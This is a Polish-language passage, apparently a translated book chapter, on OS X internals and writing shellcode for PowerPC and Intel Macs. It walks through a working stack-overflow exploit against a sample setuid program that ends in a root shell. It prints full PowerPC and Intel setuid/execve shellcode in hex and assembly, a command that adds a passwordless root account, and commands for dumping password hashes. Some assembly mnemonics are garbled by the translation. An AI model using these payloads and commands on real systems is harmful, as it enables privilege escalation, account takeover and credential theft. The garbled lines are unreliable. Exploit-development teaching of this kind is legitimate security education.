Kod powłoki systemu OS X

Macintosh - a konkretnie OS X - jest reklamowany jako posiadający korzyści w zakresie bezpieczeństwa w porównaniu z „komputerem PC". Na przykład:

Mac OS X zapewnia najwyższy poziom bezpieczeństwa dzięki przyjęciu standardów branżowych, otwartemu tworzeniu oprogramowania i mądrym decyzjom dotyczącym architektury. W połączeniu, ta inteligentna konstrukcja zapobiega hordom wirusów i programów szpiegujących, które nękają dzisiejsze komputery.

Mac OS X został zaprojektowany z myślą o wysokim poziomie bezpieczeństwa, więc nie jest nękany ciągłymi atakami wirusów i złośliwego oprogramowania, takich jak komputery PC.

Chociaż są to twierdzenia reklamowe i dlatego powinny być przedmiotem pewnego sceptycyzmu, prawdą jest, że Apple poczynił znaczne postępy, jeśli chodzi o prostą i stosunkowo bezpieczną domyślną instalację systemu OS X. Prawdą jest jednak również to, że OS X w momencie pisania pozostaje w tyle za systemami Windows i Linux pod względem mechanizmów ochrony przed exploitami, brakiem niewykonywalnej sterty, plików cookie stosu i randomizacji układu przestrzeni adresowej (ASLR) – funkcje włączone w systemie Windows Vista domyślnie i obecny w kilku popularnych dystrybucjach Linuksa. Ten rozdział zawiera podstawowe informacje na temat systemu operacyjnego Apple OS X, podstawy szelkodu PowerPC i Intel w systemie OS X oraz kilka „błędów", na które należy zwrócić uwagę podczas wyszukiwania i wykorzystywania błędów w systemie OS X.

OS X to tylko BSD, prawda?

Eee nie. Cóż, tak jakby. OS X można traktować jako połączenie najlepszych aspektów wielu różnych systemów operacyjnych. Tak jak język angielski jest kombinacją wielu doskonałych języków, niektóre od dawna wymarły, tak OS X jest kombinacją wielu doskonałych technologii, z których niektóre wyszły z powszechnego użytku, a niektóre są zupełnie nowe. OS X ma niewiele wspólnego z poprzednimi wersjami Mac OS. Jądro jest oparte zarówno na Mach, jak i BSD i może prześledzić swoje pochodzenie od implementacji jądra w NEXTSTEP opracowanej w NeXT do późnych lat 80. i do czasu ich zakupu przez Apple w 1997 r. OS X został po raz pierwszy wydany w 1999 r. jako Mac OS X v10 .0. Działa na procesorach PowerPC i Intel, chociaż w czerwcu 2005 r. Apple ogłosił, że do końca 2007 r. przełączy wszystkie nowe komputery Mac na platformę Intel. niemałą część do dużej liczby projektów open source, które są w nim zawarte. Pod względem środków bezpieczeństwa system OS X pozostaje nieco w tyle za systemami Windows i Linux pod względem ochrony przed exploitami - nie ma ochrony plików cookie stosu, randomizacji stosu ani sterty ani ochrony sterty (chociaż implementacja sterty jest nieco nietypowa i prawdopodobnie korzyści z tego tytułu pod względem bezpieczeństwa). Jest wbudowana zapora ogniowa i wszystkie zwykłe rejestrowanie, cieniowanie haseł i tak dalej. Preferowanym systemem plików dla OS X jest HFS+, który jest własnym wewnętrznym systemem Apple system plików z dziennikiem, chociaż obsługiwanych jest wiele innych systemów plików innych firm.

Czy OS X jest Open Source?

Częściowo. Kod źródłowy jądra systemu OS X („Darwin") jest dostępny pod adresem. Zawiera xnu, które jest jądrem Mach/BSD, wraz z dużą liczbą komponentów trybu użytkownika, z których część pochodzi z Apple, a inne są zewnętrznymi projektami open source. Kod można zbudować i sam stanowi system operacyjny. To powiedziawszy, istnieją pewne kontrowersje dotyczące poświadczeń Open Source firmy Apple. W chwili pisania tego tekstu projekt OpenDarwin jest zamykany, powołując się na trudności z „dostępnością źródeł, interakcją z przedstawicielami Apple, trudnościami w budowaniu i śledzeniu źródeł oraz brakiem zainteresowanie społeczności" wśród powodów zakończenia projektu.

Innym znaczącym projektem open source związanym z OS X jest GNU-Darwin, którego celem jest połączenie potęgi Darwina z zasięgiem i żywotnością społeczności GNU. Jeśli próbujesz zbudować Darwin, wysoce zalecany jest projekt DarwinBuild. Inną przydatną witryną open source dotyczącą komputerów Mac jest MacForge, która jest indeksem tych projektów open source, które będą działać na komputerze Mac.

OS X dla osób znających Uniksa

OS X jest początkowo trochę niepokojący dla kogoś przyzwyczajonego do Linuksa. Pierwsze pytanie, które nasuwa się długoletniemu użytkownikowi Uniksa, brzmi: „Gdzie jest wszystko?" Po pierwsze, oto kilka krótkich uwag na temat układu systemu plików.

Linux : OS X

/etc/init.d/ : /Library/StartupItems or /System/Library/StartupItems

/home/ : /Users/

/mnt/ : /Volumes/

<core dumps> : /cores/

/proc/<pid>/maps : The vmmap tool

Ważną kwestią dotyczącą OS X jest to, że kilka ważnych elementów konfiguracji systemu - takich jak odpowiedniki /etc/password i /etc/shadow - jest przechowywanych w hierarchicznej bazie danych znanej jako „NetInfo". Ma to kilka implikacji z punktu widzenia atakującego. Na przykład nie możesz po prostu cat /etc/shadow, aby uzyskać skróty haseł. Prowadzi to do komplikacji w przypadku typowego ładunku kodu powłoki „zainstaluj konto", ponieważ aby dodać konto, musisz użyć bezpośrednio interfejsu Directory Services API lub jednego z narzędzi wiersza polecenia NetInfo. „B-r00t", autor białej księgi „Smashing The Mac For Fun & Profit" rozwiązuje problem dodawania konta r00t, uruchamiając wiersz poleceń taki jak ten (zwróć uwagę na wywołanie niload):

/bin/echo 'r00t::999:80::0:0:r00t:/:/bin/sh'|/usr/bin/niload -m passwd .

Łamanie hasła

Oczywiście pliki, które tworzą bazę danych NetInfo, są przechowywane w systemie plików i można je odczytać bezpośrednio z /private/var/db/netinfo/, aczkolwiek z uprawnieniami roota. Wersje 10.2 i wcześniejsze OS X zawierały skróty bezpośrednio w formacie DES i można było je pobrać, bezpośrednio wysyłając zapytanie do NetInfo:

Apple:/private/var/db/shadow/hash root# nidump passwd .

nobody:*:-2:-2::0:0:Unprivileged User:/var/empty:/usr/bin/false

root:********:0:0::0:0:System Administrator:/private/var/root:/bin/sh

daemon:*:1:1::0:0:System Services:/var/root:/usr/bin/false

Wersja 10.3 przechowuje skróty w „zacienionym" formacie w katalogu /var/db/shadow/hash. Skróty są przechowywane w plikach, których nazwy plików mają identyfikatory GUID. Identyfikatory GUID można pobrać dla użytkowników, uruchamiając następujące polecenie netinfo:

nidump -r /users .

W wersji 10.3 skróty są w formacie NT LanMan MD4, z hashem SHA1 doklejonym na końcu. Wersja 10.4 przechowuje pliki w tej samej lokalizacji (/var/db/shadow/hash), ale w zasolonym formacie SHA1.

Kod powłoki systemu OS X PowerPC

Więc to jest tło. Teraz, zamiast szczegółowo wyjaśniać zestaw instrukcji PowerPC, po prostu wskoczymy od razu, wypróbujemy przepełnienie stosu i zobaczymy, jak szelkod PowerPC na Macu różni się od szelkodu Intela w Linuksie. Oto przykładowy program:

```
// stack.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int main( int argc, char *argv[] )

{

char buff[ 16 ];

if( argc <= 1 )

return printf("Error - param expected\n");

strcpy( (char *)buff, argv[1] );

return 0;

}
```

Kompilujemy to za pomocą gcc, dokładnie w taki sam sposób, jak w Linuksie:

```
Apple:~/chapter_12 shellcoders$ cc stack.c -o stack
```

And run it, with a short and then a long string:

```
Apple:~/chapter_12 shellcoders$ ./stack AAAABBBB

Apple:~/chapter_12 shellcoders$ ./stack AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH
```

Po dłuższym łańcuchu nie ma widocznej awarii (spodziewaliśmy się awarii na procesorze Intela). Wypróbujmy dłuższe ciągi:

```
Apple:~/chapter_12 shellcoders$ ./stack

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL

Apple:~/chapter_12 shellcoders$ ./stack

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP

Segmentation fault
```

Let's just verify that we are overwriting the saved return address:

```
Apple:~/chapter_12 shellcoders$ gdb ./stack
```

(gdb) set args

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP

(gdb) run

Starting program: /Users/shellcoders/chapter_12/stack

AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP

Reading symbols for shared libraries . done

Program otrzymał sygnał EXC_BAD_ACCESS, Brak dostępu do pamięci.

Reason: KERN_INVALID_ADDRESS at address: 0x4d4d4d4c

0x4d4d4d4c in ?? ()

Cóż, wydaje się to dość jasne; przekierowaliśmy wykonanie, chociaż wymagało to większego nadpisania niż do tego, do którego jesteśmy przyzwyczajeni. Wyjaśnimy, dlaczego w dalszej części tej sekcji, ale na razie uruchommy trochę szelkodu. Warto zwrócić uwagę na zapisany adres zwrotny — 0x4d4d4d4c. Na procesorze, którym się zajmujemy, instrukcje PowerPC mają długość 32 bitów i są wyrównane do granicy 32-bitowej, więc gdy nadpisujemy zapisany adres powrotu przez 0x4d4d4d4d, dwa mniej znaczące bity są ignorowane i kończymy skok do 0x4d4d4d4c. Za chwilę przyjrzymy się, jak działa kod, ale na razie po prostu go użyjemy. Kolejną rzeczą, której potrzebujemy, są sanki nop. Na razie wszystko, co musimy wiedzieć, to to, że instrukcja 0x7c631a79 jest ekwiwalentem nop, czyli nie ma nic wspólnego z naszym kodem. Umieścimy więc dużą liczbę tych instrukcji bezpośrednio przed naszym szelkodem, a wykonanie „prześlizgnie się” przez nie, do naszego ładunku. Przypominając, że wykonanie zostało przekierowane do MMMM, możemy przeskoczyć w dowolne miejsce, uruchamiając następujące polecenie:

./stack $(printf “%048x\x40\x40\x40\x40”)

Oznacza to, że jako argument wiersza poleceń przekazujemy ciąg 48 „0”, po którym następuje adres, do którego chcemy przejść. Polecenie printf sprawia, że jest to stosunkowo proste, ponieważ pozwala nam przedstawiać adresy w postaci szesnastkowej. Jeśli chcemy stworzyć sanki nop, możemy to zrobić, uruchamiając następujące polecenie, aby powtórzyć naszą instrukcję „nop” 40 000 razy:

for((i=0;i<40000;i++))do printf “\x7c\x63\x1a\x79”; done;

Zauważ, że jest to kolejna różnica w porównaniu z pudełkiem Linux/Intel – nie musimy odwracać kolejności bajtów, ponieważ PowerPC to big-endian. I na koniec nasz szelkod wygląda tak:

printf

“\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc

0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0

d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68”

Więc musimy debugować nasz program i odgadnąć adres gdzieś w naszych nop-sledach. Zobaczmy, gdzie znajduje się nasza pierwsza ramka stosu po wprowadzeniu funkcji main():

Apple:~/chapter_12 shellcoders$ gdb ./stack

(gdb) break main

Breakpoint 1 at 0x2ad0

(gdb) run

Starting program: /Users/shellcoders/chapter_12/stack

Reading symbols for shared libraries . done

Breakpoint 1, 0x00002ad0 in main ()

(gdb) info frame 0

Stack frame at 0xbffffa80:

pc = 0x2ad0 in main; saved pc 0x2308

Tak więc, podobnie jak w Linuksie, nasza początkowa ramka stosu ma wartość 0xbfff<nnnn>. Ponieważ piszemy 160 000 bajtów nop-sled, musimy założyć, że nasz kod znajduje się gdzieś pod nieco niższym adresem niż ten, więc zacznijmy od 0xbffa0404. Ułożymy nasz argument wiersza poleceń w ten sposób:

< padding >

< saved return address >

< nop sled >

< shellcode >

… co wygląda tak

Apple:~/chapter_12 shellcoders$ ./stack “$(printf

“%048x\xbf\xfa\x04\x04“)$(for((i=0;i<40000;i++))do printf

“\x7c\x63\x1a\x79”; done;)$(printf

“\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc

0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0

d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68”)“

Illegal instruction

Ups. Próbujemy ponownie z \xbf\xfb\x04\x04, a następnie \xbf\xfc\x04\x04, a na koniec:

Apple:~/chapter_12 shellcoders$ ./stack “$(printf

“%048x\xbf\xfc\x04\x04“)$(for((i=0;i<40000;i++))do printf

“\x7c\x63\x1a\x79”; done;)$(printf

“\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc

0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0

d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68")"

sh-2.05b$

Świetnie! Mamy powłokę. Jeśli to był program z suidem, powinniśmy otrzymać powłokę root, więc zróbmy ją z istniejącej powłoki głównej:

Apple:/Users/shellcoders/chapter_12 root# chown root ./stack

Apple:/Users/shellcoders/chapter_12 root# chmod u+s ./stack

… a teraz uruchom nasz exploit jako nasz normalny użytkownik:

Apple:~/chapter_12 shellcoders$ whoami

shellcoders

Apple:~/chapter_12 shellcoders$ ./stack "$(printf

"%048x\xbf\xfc\x04\x04")$(for((i=0;i<40000;i++))do printf

"\x7c\x63\x1a\x79"; done;)$(printf

"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x39\x40\x01\x23\x38\x0a\xfe\xf4\x44\xf

f\xff\x02\x60\x60\x60\x60\x7c\xa5\x2a\x79\x7c\x68\x02\xa6\x38\x63\x01\x5

4\x38\x63\xfe\xf4\x90\x61\xff\xf8\x90\xa1\xff\xfc\x38\x81\xff\xf8\x3b\xc

0\x01\x47\x38\x1e\xfe\xf4\x44\xff\xff\x02\x7c\xa3\x2b\x78\x3b\xc0\x01\x0

d\x38\x1e\xfe\xf4\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68")"

sh-2.05b# whoami

root

sh-2.05b#

Więc czego się nauczyliśmy? Cóż, szelkod OS X na PowerPC ma wiele podobieństw – przynajmniej powierzchownie – do szelkodu Linuksa. Stos znajduje się w podobnej lokalizacji, możemy nadpisać adres dość blisko końca naszego bufora stosu, który przekierowuje wykonanie, a jeśli po prostu zastąpimy go jakimś szablonowym kodem powłoki, wydaje się, że zadziała. Ponadto, ze względnej łatwości, z jaką możemy wykorzystać to „waniliowe" przepełnienie stosu, widzimy, że:

1. Nie ma stosu „plików cookie".

2. Nie ma randomizacji stosu.

3. Stos jest wykonywalny.

… przynajmniej wtedy, gdy OS X działa na procesorze PowerPC. Teraz przyjrzyjmy się trochę głębiej, co faktycznie robi kod. Spójrz na szelkod B-r00t, który właśnie uruchomiliśmy, aby pobrać naszą powłokę:

0x3014 < ppcshellcode >: xor. r3,r3,r3

0x3018 < ppcshellcode+4 >: bnel+ 0x3014 < ppcshellcode >

0x301c < ppcshellcode+8 >: li r10,291

0x3020 < ppcshellcode+12 >: addi r0,r10,-268

0x3024 < ppcshellcode+16 >: .long 0x44ffff02

0x3028 < ppcshellcode+20 >: ori r0,r3,24672

0x302c < ppcshellcode+24 >: xor. r5,r5,r5

0x3030 < ppcshellcode+28 >: mflr r3

0x3034 < ppcshellcode+32 >: addi r3,r3,340

0x3038 < ppcshellcode+36 >: addi r3,r3,-268

0x303c < ppcshellcode+40 >: stw r3,-8(r1)

0x3040 < ppcshellcode+44 >: stw r5,-4(r1)

0x3044 < ppcshellcode+48 >: addi r4,r1,-8

0x3048 < ppcshellcode+52 >: li r30,327

0x304c < ppcshellcode+56 >: addi r0,r30,-268

0x3050 < ppcshellcode+60 >: .long 0x44ffff02

0x3054 < ppcshellcode+64 >: mr r3,r5

0x3058 < ppcshellcode+68 >: li r30,269

0x305c < ppcshellcode+72 >: addi r0,r30,-268

0x3060 < ppcshellcode+76 >: .long 0x44ffff02

Na początku wydaje się to trochę nieprzeniknione, ale należy pamiętać o kilku początkowych rzeczach:

* PowerPC ma dwa rejestry zwykle połączone z instrukcjami rozgałęziania. Rejestr „łączący” często przechowuje zapisany adres zwrotny funkcji, a rejestr „count” jest często używany do implementacji instrukcji, takich jak instrukcja „switch” w C. Często zobaczysz instrukcje blr (oddział do rejestru łączącego) i bctr (rejestr brach to count) używane w ten sposób.

* W PowerPC znajdują się 32 rejestry ogólnego przeznaczenia o nazwach od r0 do r31.

* Instrukcje 0x44ffff02 są wolną od wartości NULL wersją instrukcji sc (syscall) i można je traktować jako ekwiwalent int $0x80.

* Gdy instrukcja przyjmuje trzy argumenty, pierwszy jest miejscem docelowym, a pozostałe dwa są argumentami, na przykład addi r0, r10, -268 dodaje r10 do -268 i przechowuje wynik w r0.

* Podczas wywoływania wywołań systemowych numer wywołania systemowego jest wprowadzany w r0. Argumenty są przechowywane od r3 w górę.

* Instrukcja natychmiast po wywołaniu wywołania systemowego, jeśli wywołanie nie powiodło się. Jest pomijany, jeśli wywołanie systemowe powiodło się.

Przejdźmy teraz linia po linii przez shellcode:

1. To ustawia r3 - nasz pierwszy argument „wywołania systemowego” na 0.

0x3014 <ppcshellcode>: xor. r3,r3,r3

2. Oznacza to „rozgałęzienie, jeśli nie jest równe 0x3014”, przy czym „nie równe” w tym przypadku jest fałszywe. Efektem ubocznym jest zapisanie aktualnie wykonywanego adresu (rejestr licznika programu, $pc) w „rejestrze linków”. Użyjemy rejestru linków w dalszej części tego shellcodu.

0x3018 < ppcshellcode+4 >: bnel+ 0x3014 < ppcshellcode >

3. Spowoduje to umieszczenie wartości 291 w rejestrze r10.

0x301c < ppcshellcode+8 >: li r10,291

4. Dodaje to –268 do rejestru r10 i zapisuje wynik w r0. Mamy więc teraz argument wywołania systemowego równy 0 w r3 i numer wywołania systemowego (291 – 268 = 23) w r0. Dwadzieścia trzy (23) to „setuid” numer wywołania systemowego.

0x3020 < ppcshellcode+12 >: dodaj r0,r10,-268

5. Teraz wywołamy wywołanie systemowe. Instrukcja ori to tylko wypełnienie. Pamiętaj, że PowerPC wykona go, jeśli wywołanie systemowe się nie powiedzie i pominie go, jeśli wywołanie systemowe się powiedzie.

0x3024 < ppcshellcode+16 >: .long 0x44ffff02

0x3028 < ppcshellcode+20 >: ori r0,r3,24672

6. To czyści rejestr r5.

0x302c < ppcshellcode+24 >: xor. r5,r5,r5

7. Przenosi to rejestr linków (zapisany w 0x3018) do r3.

0x3030 < ppcshellcode+28 >: mflr r3

8. Dodaje to 340 do r3 i wstawia wynik do r3.

0x3034 < ppcshellcode+32 >: dodaj r3,r3,340

9. To dodaje –268 do r3 i umieszcza wynik w r3. r3 zawiera teraz (340 – 268 = 72). Siedemdziesiąt dwa (72) to przesunięcie od 0x3018 (gdzie pobraliśmy licznik programu) do końca tego kodu powłoki, gdzie znajduje się ciąg „/bin/sh”.

0x3038 < ppcshellcode+36 >: addi r3,r3,-268

10. To przechowuje r3 w (r1)-8 (jest to argv[0] parametru argv[] do execve).

0x303c < ppcshellcode+40 >: stw r3,-8(r1)

11. To przechowuje r5 (null) w (r1)–4 (argv[1]).

0x3040 < ppcshellcode+44 >: stw r5,-4(r1)

12. To przechowuje wskaźnik do argv w r4.

0x3044 < ppcshellcode+48 >: addi r4,r1,-8

13. To ładuje 327 do r30.

0x3048 < ppcshellcode+52 >: li r30,327

14. To dodaje –268 do r30 i zapisuje w r0 (r0 = 327 – 268 = 59 = SYS_execve).

0x304c <ppcshellcode+56>: addi r0,r30,-268

15. Zadzwoń pod numer systemowy i nie martw się o wynik.

0x3050 < ppcshellcode+60 >: .long 0x44ffff02

0x3054 < ppcshellcode+64 >: pan r3,r5

16. Teraz załaduj 269 do r30.

0x3058 < ppcshellcode+68 >: li r30,269

17. Dodaj –268 do r30 i zapisz w r0 (r0 = 269 – 268 = 1 = SYS_exit).

0x305c <ppcshellcode+72>: addi r0,r30,-268

18. Wywołaj wywołanie systemowe exit().

0x3060 < ppcshellcode+76 >: .long 0x44ffff02

Więc kiedy już uprzątniemy plewy, szelkod po prostu wywoła setuid(0);

execve(„/bin/sh”);

exit();

… co jest całkiem proste, naprawdę.

Jest tu kilka fajnych sztuczek, których używa B-r00t, aby uniknąć pustych bajtów w shellcodzie. Pierwsza sztuczka jest ogólnie określana jako nadużycie zarezerwowanego bitu. Zostało to po raz pierwszy udokumentowane przez grupę Last Stage of Delirium w swoim artykule „UNIX Assembly Codes Development for Vulnerabilities Illustration Purposes” w lipcu 2001 r. Instrukcje w rodzinie PowerPC mają zwykle 32 bity szerokości i zawierają pewną liczbę „zarezerwowanych” bitów, które są ogólnie ustawione na zero. Jednak dla danej instrukcji nie wszystkie te bity *muszą* być ustawione na zero, ponieważ kilka bitów nie odgrywa żadnej roli w mapowaniu bitów przez procesor na instrukcje. Na przykład używamy instrukcji 0x44ffff02 w poprzednim kodzie do wywoływania wywołań systemowych. Rzeczywista instrukcja sc to 0x44000002, ale jak widać, nie ma problemu z zastąpieniem dwóch środkowych bajtów zerowych na 0xff. To samo dotyczy instrukcji nop 0x60000000, która może być na przykład 0x60606060. Druga sztuczka polega na unikaniu wartości null podczas manipulowania rejestrami. Zwróć uwagę na częste stosowanie instrukcji dodawania –268 do rejestru. Dzieje się tak, abyśmy nigdy nie ustawiali ani nie dodawali wartości mniejszej niż 256 w rejestrze — aby zapewnić, że oba „bezpośrednie” bajty w instrukcji mają ustawione pewne bity. Gdybyśmy mieli po prostu dodać na przykład r3,r3,28, otrzymalibyśmy instrukcję taką jak 0x3863001c — z bajtem zerowym. Bardziej zaawansowany temat szelek kodowania PowerPC został omówiony w HD. Doskonały artykuł Moore′'a „Mac OS X PPC Shellcode Tricks” w równie doskonałym czasopiśmie „uninformed” .Moore zauważa, że jest problem z pisaniem dekoderów dla platformy PowerPC, ze względu na zachowanie pamięci podręcznej instrukcji PowerPC. Jeśli kod wykonywalny zostanie zmodyfikowany w pamięci, a następnie wykonany (jak w przypadku pisania dekodera), nie ma gwarancji, że zmodyfikowana wersja kodu zostanie wykonana — wersja z pamięci podręcznej może nadal być obecna. Rozwiązaniem tego problemu jest unieważnienie każdego bloku pamięci z pamięci podręcznej

danych (przy użyciu instrukcji „dbcf"), poczekanie na zakończenie unieważniania, następnie opróżnienie pamięci podręcznej instrukcji dla tego bloku za pomocą instrukcji „icbi" i wykonanie Instrukcja „isync" przed wykonaniem kodu. Moore dalej przedstawia dekoder bezpieczny w pamięci podręcznej dołączony do frameworka metasploit, który jest oparty na dekoderze Dino Dai Zovi. Podsumowując, jeśli poważnie myślisz o swoim szelkodzie (i hej, czytasz tę książkę, więc powinieneś), to szelkod PowerPC jest wart poznania. Ideą tej błyskawicznej wycieczki było wskazanie kilku „niedogodności" i, miejmy nadzieję, umożliwienie łatwiejszego poruszania się po shellcodzie OS X PowerPC. W miarę upływu czasu — jeśli Apple dotrzymuje zobowiązania Intela — komputery Mac PowerPC powinny stawać się coraz mniej powszechne. Ale wiele pudełek OS X PowerPC wciąż tam jest i prawdopodobnie natkniesz się na nie, jeśli przeprowadzasz audyt dużej sieci. Jeśli natkniesz się na jakiś, pomocne jest zakodowanie dla siebie exploita weryfikującego koncepcję, jeśli nie ma dostępnego kodu publicznego. Mam nadzieję, że masz rozsądną szansę, że będziesz w stanie to zrobić teraz, więc przejdźmy do bardziej aktualnego tematu - shellcodu OS X na platformie Intela.

Kod powłoki Intel OS X

W czerwcu 2005 r. firma Apple ogłosiła, że do końca 2007 r. przestawi wszystkie nowe komputery Mac na procesory Intela. Tak więc jasne jest, że pisanie shellcodu dla OS X na platformie Intela jest ważnym tematem. Możesz zostać wybaczony za myślenie, że znamy szelkod Intela na OS X, ale wciąż jest kilka rzeczy, o których należy pamiętać. Oto kilka najważniejszych wskazówek dotyczących pisania kodu powłoki Intel OS X:

* Nie zapominaj, że nie możesz wykonać kodu na stosie (ale możesz na stercie!). Firma Apple wykorzystała funkcję ochrony stron pamięci w najnowszych chipach Intela i zaimplementowała niewykonywalny stos – ale nie niewykonywalną stertę. Ponownie nie wysłano żadnej randomizacji stosu ani sterty, żadnych plików cookie stosu ani randomizacji binarnej lub segmentowej. Ważne jest, aby pamiętać, że nie możesz już tak po prostu wskoczyć do swojego kodu na stosie, ponieważ wiele przykładowych kodów exploitów właśnie to robi – a jeśli próbujesz przenieść istniejący exploit do OS X na Intelu, będzie to problem.

* Konwencja wywoływania Syscall: int 0x80. Przesuwaj parametry w kolejności od prawej do lewej i dodaj fikcyjny adres powrotu po ostatnim parametrze, ponieważ istnieje fikcyjny adres powrotu w stylu BSD. Możesz użyć int 0x80 do wywoływania wywołań systemowych. Parametry wywołania systemowego są umieszczane na stosie w odwrotnej kolejności od prawej do lewej, a sam numer wywołania systemowego jest przechowywany w eax. Należy pamiętać, że OS X tam oczekuje być „dodatkową" 32-bitową wartością na stosie. Powodem tego jest to, że pozornie wywołania systemowe są zwykle wywoływane przez wywołanie takiego skrótu:

```
do_syscall:

int $0x80

ret
```

* To oczywiście pozostawia zapisany adres zwrotny wywołującego na stosie, nad parametrami - więc mechanizm syscall ignoruje pierwszą 32-bitową wartość na stosie. Możesz chcieć napisać swój kod powłoki, dołączając funkcję podobną do pokazanej właśnie. Wtedy możesz po prostu zignorować to dziwactwo i wywołać do_syscall zamiast robić (push; int $0x80; pop). Minusem jest to, że na x86 nie ma instrukcji „krótkiego wywołania względnego", więc prawdopodobnie skończysz z 5-bajtową instrukcją wywołania. Możesz też zapisać gdzieś adres odgałęzienia i wywołać go za pośrednictwem rejestru. Prawdopodobnie będziesz jednak musiał zapisać/przywrócić rejestr. Możesz też zrobić to, co

robi większość ludzi i po prostu zrobić dodatkowy push/pop. Niezależnie od tego, jak sobie z tym poradzisz, jeśli jesteś przyzwyczajony do szelkodowania w systemie Linux, to dziwactwo może być wyjątkowo mylące.

* Użyj narzędzia ktrace/kdump do debugowania. ktrace i kdump to nieocenione pomoce programistyczne — zwłaszcza zdolność ktrace do śledzenia procesów potomnych przy użyciu opcji -di. ktrace zasadniczo dostarczy ci listę wszystkich wywołań systemowych wywoływanych przez twój docelowy program(y) wraz z ich argumentami. Oczywiście, gdy piszesz szelkod, który obejmuje więcej niż tylko kilka wywołań systemowych, jest to doskonałe narzędzie.

* Nie zapomnij o ustawieniu setuid(0). Spowoduje to próbę (ponownego) uzyskania dostępu do roota, jeśli wykorzystany program działa jako inny użytkownik, który wcześniej działał jako root.

* execve() nie powiedzie się, jeśli aplikacja ma więcej niż jeden wątek. Jest to kolejna interesująca dziwactwo szelkodu OS X - jeśli aplikacja ma wiele wątków, twój kod musi wykonać coś takiego jak wywołanie fork(), aby pomyślnie wywołać execve(). Oczywiście, jeśli wywołasz fork(), musisz mieć pewność, że proces nadrzędny zachowuje się poprawnie - w niektórych przypadkach, jeśli proces rodzicielski exit(), może to spowodować problemy. Być może będziesz musiał również wywołać wait4(). I prawdopodobnie dobrym pomysłem jest wywołanie setuid(0), na wszelki wypadek. Tak więc nasza ostateczna lista wywołań systemowych to setuid(0), fork(), wait4(), execve() i exit() dla szelkodu ogólnego przeznaczenia.

Przykładowy kod powłoki

Przykładowy szelkod Intel execve(), który robi to wszystko, jest następujący:

```
jmp start

do_exit:

xor eax, eax

push eax

inc eax

push eax

int 0x80 // exit(0)

start:

xor eax, eax

push eax

push eax

mov al, 23

int 0x80 // setuid(0)

pop eax

inc eax

inc eax
```

int 0x80 // fork()

pop ebx

push eax

push ebx

push ebx

push ebx

push eax

xor eax, eax

mov al,7

push eax

int 0x80 // wait4(child) - fails in child

pop ebx

pop ebx

cmp ebx, eax

je do_exit

do_sh:

xor eax,eax

push eax

push 0x68732f2f

push 0x6e69622f

mov ebx, esp

push eax

push esp

push esp

push ebx

mov al, 0x3b

push eax

int 0x80 // execve('/bin//sh')

Lub, jeśli wolisz:

„\xeb\x07\x33\xc0\x50\x40\x50\xcd\x80\x33\xc0\x50\x50\xb0\x17\xcd\x80\x5

8\x40\x40\xcd\x80\x5b\x50\x53\x53\x53\x50\x33\xc0\xb0\x07\x50\xcd\x80\x5

b\x5b\x3b\xd8\x74\xd9\x33\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6

e\x8b\xdc\x50\x54\x54\x53\xb0\x3b\x50\xcd\x80”

ret2libc

Jak więc obejść ten niewykonywalny stos? W części 14 zobaczymy wiele różnych technik, ale do tego czasu wypróbujmy kilka prostych alternatyw. Najpierw możemy spróbować ret2libc. Ideą tej techniki - jak opisano w części 2 - jest to, że zamiast wracać do naszego szelkodu, po prostu wracamy do funkcji, powiedzmy, system() w bibliotece, której położenie możemy odgadnąć. Użyjemy naszego standardowego programu stack.c opisanego wcześniej w sekcji PowerPC jako nasza ofiara, z niewielką modyfikacją, aby było łatwiej:

```
// stack.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

int main( int argc, char *argv[] )

{

char buff[ 16 ];

printf(“buff: 0x%08x\n”, buff );

if( argc <= 1 )

return printf(“Error - param expected\n”);

strcpy( (char *)buff, argv[1] );

return 0;

}
```

Running it, we get:

```
macbook:~/chapter_12 shellcoders$ ./stack $(printf

“AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO”)

buff: 0xbffffc00

Segmentation fault

macbook:~/chapter_12 shellcoders$ gdb ./stack

(gdb) set args $(printf

